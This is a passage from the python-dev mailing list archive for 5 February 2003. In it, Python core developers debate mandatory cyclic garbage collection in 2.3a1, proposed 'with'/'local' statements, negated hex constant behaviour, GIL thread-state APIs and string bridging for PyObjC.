2.3a1 > due to the increased memory needed for every Python object. Are you sure that pymalloc isn't complicating the issue(s)? Have you tried running configure --without-pymalloc? Neal From jrw@pobox.com Wed Feb 5 17:00:37 2003 From: jrw@pobox.com (John Williams) Date: Wed, 05 Feb 2003 11:00:37 -0600 Subject: [Python-Dev] With statement In-Reply-To: <2msmv2onnm.fsf@starship.python.net> References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> <20030205101118.GA65334@hishome.net> <2msmv2onnm.fsf@starship.python.net> Message-ID: <3E414335.7030704@pobox.com> Michael Hudson wrote: > Oren Tirosh writes: >>Let's assume that a new 'local' statement is added to Python. At the end >>of the current block the __del__ method of any references declared local >>is guaranteed to be called. [snip] > > Two comments: > > 1) The resource-allocation-is-initialization pattern works very well > in C++, but I'm unconvinced that we should aim to copy it exactly > -- it's a nice solution to the problem, but not the only possible > or best one, IMHO. > > 2) Without the ability to define a scope at will, RAiI becomes less useful. Why not combine the "with" and "local" statement ideas? Change the "with" statement so that there is no __enter__ method, and call __del__ where there current proposal calls __exit__. Now you have with f = file(...): # Do something with f. meaning something similar to f = file(...) try: # Do something with f. finally: assert sys.getrefcount(f) == 2 del f # f is guaranteed dead, so f.__del__ is called From tim.one@comcast.net Wed Feb 5 17:08:11 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 12:08:11 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <3E414006.9030907@tismer.com> Message-ID: [Christian Tismer] > ... > I know of many companies (all my Stackless customers, for > instance), who would *never* switch to a Python version that > needs the GC. What relationship does Stackless have with user code creating cycles among Python objects? I don't see any. One thing getting overlooked here is how many newer C-level Python objects register with GC, due to that so many new features end up creating reference cycles. For example, create a new-style class and you've created cycles. If you have a customer who disables cyclic GC, they'll have to avoid other newer features too, or endure leaks. From oren-py-d@hishome.net Wed Feb 5 17:12:29 2003 From: oren-py-d@hishome.net (Oren Tirosh) Date: Wed, 5 Feb 2003 12:12:29 -0500 Subject: [Python-Dev] With statement In-Reply-To: <2msmv2onnm.fsf@starship.python.net> References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> <20030205101118.GA65334@hishome.net> <2msmv2onnm.fsf@starship.python.net> Message-ID: <20030205171229.GA15739@hishome.net> On Wed, Feb 05, 2003 at 01:35:57PM +0000, Michael Hudson wrote: > Oren Tirosh writes: > > > Let's assume that a new 'local' statement is added to Python. At the end > > of the current block the __del__ method of any references declared local > > is guaranteed to be called. The object must have exactly one remaining > > reference, otherwise an exception is raised. In a GC implementation it may > > make some change to the object so that any remaining references to it > > become stale references and raise an exception as soon as they are touched > > in any way. Note that a reference to a closed file object is already a > > stale reference and raises an exception if any I/O operation is attempted > > on it. > > Two comments: > > 1) The resource-allocation-is-initialization pattern works very well > in C++, but I'm unconvinced that we should aim to copy it exactly I am not copying anything. I came up with this idea all by myself ;-) > -- it's a nice solution to the problem, but not the only possible > or best one, IMHO. Umm... after reading this sentence a few times, I am still not sure what information it conveys to me about your opinion of the idea. Was that a +1, +0, -0 or -1? > 2) Without the ability to define a scope at will, RAiI becomes less useful. local f=open('sdaskdfjhaslk') ... del l Deleting this kind of variable (whether we call it local or something else) means you want its __del__ executed now. It is also an assertion that its reference count is supposed to be 1 at this point. This not only gives you the ability to define a scope at will, it lets you create scopes dynamically. It's probably useful for more than just RAiI. Perhaps too useful. Oren From guido@python.org Wed Feb 5 17:12:20 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 12:12:20 -0500 Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock acquisition for extensions In-Reply-To: Your message of "Wed, 05 Feb 2003 14:33:52 +1100." <006c01c2ccc7$6e6c8880$530f8490@eden> References: <006c01c2ccc7$6e6c8880$530f8490@eden> Message-ID: <200302051712.h15HCK128945@odiug.zope.com> Good PEP, Mark. I support solving this problem once and for all. One question: you claim that some implementation of TLS (Thread Local Storage) is required to implement this API, but you don't give enough implementation details to explain this requirement. I wonder if instead of relying on TLS, you could return a void* pointer from PyAutoThreadState_Ensure() which must be passed back into PyAutoThreadState_Release()? Or is TLS used for something else too? (I'm not a big fan of TLS, mostly because its API is different for each native thread package; requiring it would make the burden of providing the PyAutoThreadState API bigger.) --Guido van Rossum (home page: http://www.python.org/~guido/) From pedronis@bluewin.ch Wed Feb 5 17:16:14 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Wed, 5 Feb 2003 18:16:14 +0100 Subject: [Python-Dev] With statement References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> <20030205101118.GA65334@hishome.net> <2msmv2onnm.fsf@starship.python.net> <20030205171229.GA15739@hishome.net> Message-ID: <021901c2cd3a$49ef1e00$6d94fea9@newmexico> From: "Oren Tirosh" > > 2) Without the ability to define a scope at will, RAiI becomes less useful. > > local f=open('sdaskdfjhaslk') > ... > del l > > Deleting this kind of variable (whether we call it local or something > else) means you want its __del__ executed now. It is also an assertion > that its reference count is supposed to be 1 at this point. This not only > gives you the ability to define a scope at will, it lets you create > scopes dynamically. It's probably useful for more than just RAiI. Perhaps > too useful. it is not about variables, it is about objects, too much fragile magic local f=open('sdaskdfjhaslk') w = f.write w(...) del f # ??? From mwh@python.net Wed Feb 5 17:30:34 2003 From: mwh@python.net (Michael Hudson) Date: Wed, 05 Feb 2003 17:30:34 +0000 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: (Tim Peters's message of "Wed, 05 Feb 2003 11:32:34 -0500") References: Message-ID: <2m7kceab45.fsf@starship.python.net> Tim Peters writes: > (it took us years to get to the state where we thought it might > finally be right ). We still have bug #668433 . Cheers, M. -- My hat is lined with tinfoil for protection in the unlikely event that the droid gets his PowerPoint presentation working. -- Alan W. Frame, alt.sysadmin.recovery From mwh@python.net Wed Feb 5 17:34:30 2003 From: mwh@python.net (Michael Hudson) Date: Wed, 05 Feb 2003 17:34:30 +0000 Subject: [Python-Dev] With statement In-Reply-To: <20030205171229.GA15739@hishome.net> (Oren Tirosh's message of "Wed, 5 Feb 2003 12:12:29 -0500") References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> <20030205101118.GA65334@hishome.net> <2msmv2onnm.fsf@starship.python.net> <20030205171229.GA15739@hishome.net> Message-ID: <2m4r7iaaxl.fsf@starship.python.net> Oren Tirosh writes: > Umm... after reading this sentence a few times, I am still not sure what > information it conveys to me about your opinion of the idea. > > Was that a +1, +0, -0 or -1? -IDONTCAREVERYMUCH, I think. Reading I-don't-know-how-many-hundred posts on this kind of topic is starting to get to me. You might want to try asking me next week. >> 2) Without the ability to define a scope at will, RAiI becomes less useful. > > local f=open('sdaskdfjhaslk') > ... > del l But then you probably want a try/finally block... oh hang on, the frame in the traceback structure will hold a reference. I think that kills it, YMMV. Cheers, M. -- The gripping hand is really that there are morons everywhere, it's just that the Americon morons are funnier than average. -- Pim van Riezen, alt.sysadmin.recovery From mwh@python.net Wed Feb 5 17:43:54 2003 From: mwh@python.net (Michael Hudson) Date: Wed, 05 Feb 2003 17:43:54 +0000 Subject: [Python-Dev] I have something I'd like to use the farm for. Message-ID: <2m1y2maahx.fsf@starship.python.net> The following message is a courtesy copy of an article that has been posted to gmane.comp.python.snake-farm.user as well. Ages ago, I wrote and checked in a patch that added sigprocmask() and so on to the signal module. This broke in a variety of exciting ways on a variety of platforms[1], and after a while I just disabled the code in configure that checks for sigprocmask. The code, docs and tests are still there. Clearly before 2.3, this needs to be sorted out: either we need to find out which platforms it has a hope in hell of working on and enable it there, or we need to rip it out. Would it be possible to test this out on the snake farm's systems? It's not suited to automated testing as various platforms breakage involved hanging. Cheers, M. PS: off home now, so I won't be responding to replies until tomorrow unless you're really fast. [1] or in one case, broke the platform: FreeBSD's behaviour got deemed a bug in FreeBSD itself. -- Every day I send overnight packages filled with rabid weasels to people who use frames for no good reason. -- The Usenet Oracle, Oracularity #1017-1 From python@rcn.com Wed Feb 5 17:54:14 2003 From: python@rcn.com (Raymond Hettinger) Date: Wed, 5 Feb 2003 12:54:14 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> Message-ID: <001701c2cd3f$ae8ff960$125ffea9@oemcomputer> > I don't have time to argue the merits of adding new features in the > first place. But please, let's not be naive about their impact on > the perceived simplicity of Python. Like it or not, beginners do > need to know about new things, even if they will not be coding them. I don't disagree that 2.3 is more complex than 1.5.2. However, *some* of the changes made python easier to learn and use. At one time, every beginner had to learn: * how to override __getitem__ and throw away the index to simulate iteration * to add 1L to their factorial function which worked fine for small parameters but crashed with larger ones * to clutter code with x=x, y=y, etc to simulate nested scope * funky code contortions to simulate lockstep iteration * use of the lineinput module to read files line-by-line For users of non-ascii charactersets, life has gotten much easier. Raymond Hettinger ################################################################# ################################################################# ################################################################# ##### ##### ##### ################################################################# ################################################################# ################################################################# From tismer@tismer.com Wed Feb 5 18:00:50 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 05 Feb 2003 19:00:50 +0100 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: References: Message-ID: <3E415152.7070505@tismer.com> Tim Peters wrote: > [Christian Tismer] > >>... >>I know of many companies (all my Stackless customers, for >>instance), who would *never* switch to a Python version that >>needs the GC. > > > What relationship does Stackless have with user code creating cycles among > Python objects? I don't see any. I didn't talk about Stackless at all :-) But the only companies who I know directly to completely depend on Python happen to also use Stackless. > One thing getting overlooked here is how many newer C-level Python objects > register with GC, due to that so many new features end up creating reference > cycles. For example, create a new-style class and you've created cycles. > If you have a customer who disables cyclic GC, they'll have to avoid other > newer features too, or endure leaks. Right, that's truely an issue. I don't think they would care about class leaks, but for frequently created objects, they would need extra destructors. At least CCPgames uses 2.2 already. I will ask them if they adhered to not using GC, and how. cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From fdrake@acm.org Wed Feb 5 17:59:51 2003 From: fdrake@acm.org (Fred L. Drake, Jr.) Date: Wed, 5 Feb 2003 12:59:51 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: References: <3E414006.9030907@tismer.com> Message-ID: <15937.20759.986835.762701@grendel.zope.com> Tim Peters writes: > For example, create a new-style class and you've created cycles. > If you have a customer who disables cyclic GC, they'll have to > avoid other newer features too, or endure leaks. Why would creating new style classes create cycles? The links between a type and derived types use weak references, which do not rely on the cycle GC support. -Fred -- Fred L. Drake, Jr. PythonLabs at Zope Corporation From tim.one@comcast.net Wed Feb 5 18:16:02 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 13:16:02 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <3E41543F.9090709@tismer.com> Message-ID: [Christian Tismer] > It might be not so hard to make trashcan able > to register new types at run-time. They don't have to do anything extra now -- registering with gc is sufficient in current CVS. It's also a fine fit: if they're fat containers for which the trashcan is appropriate, they can also be involved in cycles. Note too that people can get back more memory than gc consumes by declaring new-style classes to use __slots__. That's a new memory-optimization gimmick, and an effective one. From tismer@tismer.com Wed Feb 5 18:13:19 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 05 Feb 2003 19:13:19 +0100 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: References: Message-ID: <3E41543F.9090709@tismer.com> Tim Peters wrote: ... > In the absence > of cyclic gc, extension modules can't use the trashcan machinery without > editing the core Python source code to teach the trashcan about each type > that wants to participate, and the trashcan implementation was much harder > to get right (it took us years to get to the state where we thought it might > finally be right ). It might be not so hard to make trashcan able to register new types at run-time. ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From barry@python.org Wed Feb 5 18:04:02 2003 From: barry@python.org (Barry A. Warsaw) Date: Wed, 5 Feb 2003 13:04:02 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <001701c2cd3f$ae8ff960$125ffea9@oemcomputer> Message-ID: <15937.21010.425705.268595@gargle.gargle.HOWL> >>>>> "RH" == Raymond Hettinger writes: RH> * how to override __getitem__ and throw away the index to RH> simulate iteration * to add 1L to their factorial function RH> which worked fine for small parameters but crashed with larger RH> ones * to clutter code with x=x, y=y, etc to simulate nested RH> scope * funky code contortions to simulate lockstep iteration RH> * use of the lineinput module to read files line-by-line Don't forget ugly and unique foo = foo + 1 -Barry From theller@python.net Wed Feb 5 18:39:24 2003 From: theller@python.net (Thomas Heller) Date: 05 Feb 2003 19:39:24 +0100 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: References: Message-ID: Tim Peters writes: > Note too that people can get back more memory than gc consumes by declaring > new-style classes to use __slots__. That's a new memory-optimization > gimmick, and an effective one. Is there *any* other way to get the same effect as '__slots__ = []' except inserting this is the code? A flag in the C coded base class? I constantly forget to use this in subclasses I define. I know I can use a __metaclass__ for this, but I'm looking for other ways. Thomas From DavidA@ActiveState.com Wed Feb 5 18:49:34 2003 From: DavidA@ActiveState.com (David Ascher) Date: Wed, 05 Feb 2003 10:49:34 -0800 Subject: [Python-Dev] Why did Fredrik leave the party? In-Reply-To: <15937.21010.425705.268595@gargle.gargle.HOWL> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <001701c2cd3f$ae8ff960$125ffea9@oemcomputer> <15937.21010.425705.268595@gargle.gargle.HOWL> Message-ID: <3E415CBE.10106@ActiveState.com> Barry A. Warsaw wrote: >>>>>>"RH" == Raymond Hettinger writes: > > > RH> * how to override __getitem__ and throw away the index to > RH> simulate iteration * to add 1L to their factorial function > RH> which worked fine for small parameters but crashed with larger > RH> ones * to clutter code with x=x, y=y, etc to simulate nested > RH> scope * funky code contortions to simulate lockstep iteration > RH> * use of the lineinput module to read files line-by-line > > Don't forget ugly and unique > > foo = foo + 1 > Or my favorite wart fixed in 2.3 bigstring.index(smallstring) != -1 (or was that bigstring.find(smallstring) != -1 ? :-) --david From guido@python.org Wed Feb 5 18:06:27 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 13:06:27 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: Your message of "Wed, 05 Feb 2003 12:59:51 EST." <15937.20759.986835.762701@grendel.zope.com> References: <3E414006.9030907@tismer.com> <15937.20759.986835.762701@grendel.zope.com> Message-ID: <200302051806.h15I6RZ29404@odiug.zope.com> > Tim Peters writes: > > For example, create a new-style class and you've created cycles. > > If you have a customer who disables cyclic GC, they'll have to > > avoid other newer features too, or endure leaks. [Fred] > Why would creating new style classes create cycles? The links between > a type and derived types use weak references, which do not rely on the > cycle GC support. The class __dict__ contains methods, and the methods contain a reference back to the class. This is not a weak reference. --Guido van Rossum (home page: http://www.python.org/~guido/) From fdrake@acm.org Wed Feb 5 18:53:10 2003 From: fdrake@acm.org (Fred L. Drake, Jr.) Date: Wed, 5 Feb 2003 13:53:10 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: References: <15937.20759.986835.762701@grendel.zope.com> Message-ID: <15937.23958.231308.449130@grendel.zope.com> I wrote: > Why would creating new style classes create cycles? The links between > a type and derived types use weak references, which do not rely on the > cycle GC support. Tim Peters writes: > >>> def f(): > ... class C(object): > ... pass > ... > [9589 refs] > >>> f() > [9611 refs] ... > >>> import gc > [9900 refs] > >>> gc.collect() > 48 > [9742 refs] ... > Take it from there, but don't forget to come for air once an hour . Ugh! Ok, I guess I've not managed to stay on top of what's going on in Python land for a while... -Fred -- Fred L. Drake, Jr. PythonLabs at Zope Corporation From bbum@codefab.com Wed Feb 5 20:27:53 2003 From: bbum@codefab.com (Bill Bumgarner) Date: Wed, 5 Feb 2003 15:27:53 -0500 Subject: [Pyobjc-dev] Re: [Python-Dev] Bridging strings from Python to other languages In-Reply-To: <200302051552.h15FqKA28439@odiug.zope.com> Message-ID: <4DC75F47-3948-11D7-B750-000393877AE4@codefab.com> On Wednesday, Feb 5, 2003, at 10:52 US/Eastern, Guido van Rossum wrote: > In my experience almost no Python code depends on this property, and > it seems to be the most problematic one. So why is this a > requirement? Because we are using Python to glue together other object oriented frameworks-- Apple's and third party's-- for which we do not have control over said behavior. Sometimes an object is just an object and those frameworks insist on the same object-- same identifier/address-- coming out that went in. As Just pointed out, my original example wasn't as clear as it could have been. If a String object comes out of the alien-to-python world and is later sent from python back into the alien-to-python runtime, the same String object-- the same id()-- must be sent back. > If you can live with only using Unicode strings (even when all they > contain is ASCII or Latin-1 values), I think subclassing Unicode might > be the way to go. Right. I believe that is the path will we go down. > I don't have time to dig deeper into this. But if you think a small > change to Python can make life easier for you, I expect we'll be happy > to implement it, as long as it doesn't make life harder for Python > developers. I can think of a couple of changes to Python that would be potentially quite helpful in this situation. Specifically: - ability to have weak references to string objects [and unicode objects]. Since we can make arbitrary object associations and re-associations when crossing the bridge between environments, I believe weakref would allow us to maintain a reference map as long as we could grab the 'string is now going away' callback to update the weakref map when the string is deallocated - ability to subclass string objects or the ability to add a hunk of data-- the reference to the 'alien' string object-- to any string object. Either one would work equally as well... whether or not they are easy to do, I have not a clue. b.bum From zooko@zooko.com Wed Feb 5 19:53:00 2003 From: zooko@zooko.com (Zooko) Date: Wed, 05 Feb 2003 14:53:00 -0500 Subject: [Python-Dev] who uses new language features? (was: Why did Fredrik leave the party?) In-Reply-To: Message from "Raymond Hettinger" of "Wed, 05 Feb 2003 12:54:14 EST." <001701c2cd3f$ae8ff960$125ffea9@oemcomputer> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <001701c2cd3f$ae8ff960$125ffea9@oemcomputer> Message-ID: This is just a "data point" -- I'm going to tell you about my experiences and my choices rather than advocate something you should do. I'm a programmer. I'm pretty smart. I know a lot of programming languages fluently. (Or at least, I have known them fluently in the past.) For the last four years or so Python has been my favorite programming language by far. I'm the lead developer on a largish[1] project written in Python, named Mnet[2]. When the project started in 1999, the current version of Python was 1.5.1. The latest release of Mnet works on all released Pythons from 1.5.2 to 2.2 (although it does nothing to prevent accumulation of reference cycles). Mark Lutz wrote: > > I don't disagree that 2.3 is more complex than 1.5.2. > However, *some* of the changes made python easier to learn > and use. At one time, every beginner had to learn: > > * how to override __getitem__ and throw away the index > to simulate iteration I've never done this, nor do I use the modern iterators. This probably means there are places where my code could be tightened up by the application of iterators, but I don't feel particularly motivated about this. > * to add 1L to their factorial function which worked fine > for small parameters but crashed with larger ones Yeah, this was a pain. I'm glad it's fixed. > * to clutter code with x=x, y=y, etc to simulate nested scope Likewise, I find the modern language is nicer in this respect. > * funky code contortions to simulate lockstep iteration I don't know what this means (see earlier comment about iteration). > * use of the lineinput module to read files line-by-line I've always read text files line-by-line with the "readline()" method of a file object. I don't know about the lineinput module. I know about xreadlines() but I've never bothered to use it AFAIR. By the way, you didn't mention generators as such, but likewise they are a new Python feature that I haven't bothered to learn. I'm comfortable with the notion of continuations, and so I don't think I would have any trouble learning how to use generators, but I don't feel the need and it would make my code harder for others (who don't understand generators) to learn. Now as to the Standard Library, I have rejoiced each time something was added to the Python Standard Library that I had previously done with a third-party module or with a homegrown module. Many of the agenda items on the Mnet TODO list (some of which are now checked off) say "now that feature X is in the Python Standard Library, replace our homegrown X with the standard X". These include distutils, pyunit, logging, bsddb3. I will refrain from mentioning Things I Would Like To See because that would constitute advocating something you should do. Regards, Zooko http://zooko.com/ [1] $ find . -iname '*.py' | xargs cat | sort -u | wc -l 27784 $ find . -iname '*.c' | xargs cat | sort -u | wc -l 1081 $ find . -iname '*.cpp' | xargs cat | sort -u | wc -l 838 [2] http://mnet.sf.net/ From guido@python.org Wed Feb 5 19:05:01 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 14:05:01 -0500 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) Message-ID: <200302051905.h15J51C29854@odiug.zope.com> There's a problem with certain negated hex/oct constants. (If you're in a hurry, skip to --- CONCLUSION --- below.) The problem is with hex/oct constants that fit in a C unsigned long but would be negative when seen as a C signed long. Examples on 32-bit systems are 0x80000000 through 0xffffffff and 020000000000 through 037777777777. Up to and including Python 2.3, these constants are considered to be negative ints, for example: >>> 0x80000000 -2147483648 >>> 0xffffffff -1 >>> 020000000000 -2147483648 >>> 037777777777 -1 >>> But now watch what happens when you put a minus sign in front of these: Python 2.1: >>> 0xffffffff -1 >>> -0xffffffff 1 >>> Python 2.2: >>> 0xffffffff -1 >>> -0xffffffff -4294967295L <<<-------- !!! >>> Python2.3: >>> 0xffffffff :1: FutureWarning: hex/oct constants > sys.maxint will return positive values in Python 2.4 and up -1 >>> -0xffffffff -4294967295L <<<-------- !!! >>> Python 2.4: >>> 0xffffffff 4294967295 >>> -0xffffffff -4294967295 >>> (I made the latter one up, but that's what I predict based on PEP 237.) The cases that bother me are -0xffffffff in Python 2.2 and 2.3: this is an unintended side effect of a peephole optimization!!! It's quite unsettling: >>> x = 0xffffffff >>> x -1 >>> -x 1 >>> -(0xffffffff) 1 >>> -0xffffffff -4294967295L <<<<-------- !!! >>> The reason is that the bytecode compiler recognizes a minus sign followed (possibly with intervening whitespace, but no other tokens) by a numeric literal, and spits out code to store the already-negated value in the const array and then loads the negated value, rather than loading the original constant from the const array and negating it. But the negated value is computed by tacking a minus sign character in front of the string value of the literal, and then calling the text-to-number conversion routine (strtol in this case). Thus, the expression 0xffffffff is negative one because it is first interpreted as an unsigned C long, and then cast to a signed C long (which just copies the bit pattern). And the expression -0xffffffff is negative 4294967295L because strtol can't handle it, so it is given to PyLong_FromString(), which of course interprets 0xffffffff as 2**32-1, and then negates it, because of the minus sign. On the other hand, -(0xffffffff) etc. are loading the constant 0xffffffff, which happens to be -1, and then negating it as a separate bytecode instruction, resulting in 1. --- CONCLUSION --- The bad thing is that this bug is already in all versions of Python 2.2, as well as in Python 2.3a1. I originally thought that it absolutely had to be fixed, because the inconsistency between -(0xffffffff) and -0xffffffff is just too bad to bear. On the other hand, given that it's already this way in Python 2.2, and will be again in Python 2.4, maybe we should leave it this way? I find it almost cute that you can spell negative constants with an explicit minus sign. (It's even correct in the sense that it doesn't issue a warning!) Opinions? Am I crazy? It seems too late to use the time machine -- OTOH I could claim that this is *already* caused by time machine usage from the Python 2.4 era. --Guido van Rossum (home page: http://www.python.org/~guido/) From bac@OCF.Berkeley.EDU Wed Feb 5 20:57:00 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Wed, 5 Feb 2003 12:57:00 -0800 (PST) Subject: [Python-Dev] New syntax threads -- summary wanted In-Reply-To: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net> References: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net> Message-ID: [Guido van Rossum] > I am asking everyone who has participated in the thread(s) about new > syntax (with, thunks, etc.) to hold off posting for a day, and think > about summarizing the state of the discussion. Then if someone could > post a summary of the various proposals on the table, with the key > arguments pro and con for each, I'd like to start continuing. The > goal at this point should be one or more PEPs. If you would like to > volunteer to (co-)author a thread summary, please post to the list. > The first volunteer to post gets to coordinate the others. > A PEP for the 'with' statement is being worked on as we speak by Paul and Michael (they are holding off for the discussion to die down and to possibly get more references). Have not heard of anyone doing a PEP for thunks nor the [] syntax. And no, I am not volunteering to lead this summary. Dealing with the rest of the list is enough to keep me swamped as of late. -Brett From pete@shinners.org Wed Feb 5 20:43:02 2003 From: pete@shinners.org (Pete Shinners) Date: Wed, 05 Feb 2003 12:43:02 -0800 Subject: [Python-Dev] Re: Passing floats to "i" parser marker Message-ID: <3E417756.3020205@shinners.org> i've got a couple observations for this change to ParseTuple. for my personal extension code, i actually benefit from the features of automatic float-to-int conversion. if this is going to change i'll indeed be updating my libraries. unfortunately it seems to workaround this requires a lot of extra code. simple parsing must now become a set of blocks and cases. (no error handling in these examples...) PyArg_ParseTuple("is", &x, &text); becomes PyArg_ParseTuple("os", &objx, &text); if((tmp=PyNumber_Int(objx)) { x = PyInt_AsLong(tmp); Py_DECREF(tmp); } naturally i'll be reducing that block to some function i can call, but it adds an extra step of typechecking and error reporting for each integer argument in my function. I'd really prefer a method to get the current behavior, perhaps "I" in the format string would be a logical choice? in the same context, i'm wondering if the "s" formatting should change also? currently you can pass unicode or string objects and they get properly converted. i use so little of unicode my input may be totally invalid, but it seems float->int is approximate to unicode->string ? i'm not sure what (if anything) should be done about this, but didn't see it mentioned in the thread. lastly, as a contrived example. to insert an item in the middle of a list is pretty simple, mylist.insert(len(mylist)/2, myval) with the new integer division, this would pass a float into an integer argment(?). just food for thought, wondering what the expected behaviour of this would be? my coming from a C background makes this float to int conversion pretty natural to my mind. but i can see how that doesn't always make it a good idea. sorry if my post is not desired, it's my first to python-dev, but i've been lurking for a few weeks. From tim.one@comcast.net Wed Feb 5 18:07:05 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 05 Feb 2003 13:07:05 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <15937.20759.986835.762701@grendel.zope.com> Message-ID: [Fred L. Drake, Jr.] > Why would creating new style classes create cycles? The links between > a type and derived types use weak references, which do not rely on the > cycle GC support. >>> def f(): ... class C(object): ... pass ... [9589 refs] >>> f() [9611 refs] >>> f() [9632 refs] >>> f() [9653 refs] >>> f() [9674 refs] >>> f() [9695 refs] >>> f() [9716 refs] >>> f() [9737 refs] >>> f() [9758 refs] >>> import gc [9900 refs] >>> gc.collect() 48 [9742 refs] >>> Take it from there, but don't forget to come for air once an hour . From barry@python.org Wed Feb 5 21:10:45 2003 From: barry@python.org (Barry A. Warsaw) Date: Wed, 5 Feb 2003 16:10:45 -0500 Subject: [Python-Dev] Negated hex/oct constants (SF #660455) References: <200302051905.h15J51C29854@odiug.zope.com> Message-ID: <15937.32213.2274.292336@gargle.gargle.HOWL> >>>>> "GvR" == Guido van Rossum writes: GvR> The bad thing is that this bug is already in all versions of GvR> Python 2.2, as well as in Python 2.3a1. So how did you find it? Was a bug report or random noodling? Was someone actually bit by it? I'm curious but I don't have a recommendation since I'd never write something like this (hex constants always seem unsigned to me). -Barry From guido@python.org Wed Feb 5 21:27:51 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 16:27:51 -0500 Subject: [Pyobjc-dev] Re: [Python-Dev] Bridging strings from Python to other languages In-Reply-To: Your message of "Wed, 05 Feb 2003 15:27:53 EST." <4DC75F47-3948-11D7-B750-000393877AE4@codefab.com> References: <4DC75F47-3948-11D7-B750-000393877AE4@codefab.com> Message-ID: <200302052127.h15LRpi06479@odiug.zope.com> > On Wednesday, Feb 5, 2003, at 10:52 US/Eastern, Guido van Rossum wrote: > > In my experience almost no Python code depends on this property, and > > it seems to be the most problematic one. So why is this a > > requirement? [BBum] > Because we are using Python to glue together other object oriented > frameworks-- Apple's and third party's-- for which we do not have > control over said behavior. > > Sometimes an object is just an object and those frameworks insist on > the same object-- same identifier/address-- coming out that went in. > > As Just pointed out, my original example wasn't as clear as it could > have been. If a String object comes out of the alien-to-python world > and is later sent from python back into the alien-to-python runtime, > the same String object-- the same id()-- must be sent back. Ah. I still don't know what you call "alien" and what you call "native". But I think that I understood your original example as going the other direction (Python -> ObjC -> Python) while the issue really is ObjC -> Python -> ObjC. > > If you can live with only using Unicode strings (even when all they > > contain is ASCII or Latin-1 values), I think subclassing Unicode might > > be the way to go. > > Right. I believe that is the path will we go down. > > > I don't have time to dig deeper into this. But if you think a small > > change to Python can make life easier for you, I expect we'll be happy > > to implement it, as long as it doesn't make life harder for Python > > developers. > > I can think of a couple of changes to Python that would be potentially > quite helpful in this situation. > > Specifically: > > - ability to have weak references to string objects [and unicode > objects]. Since we can 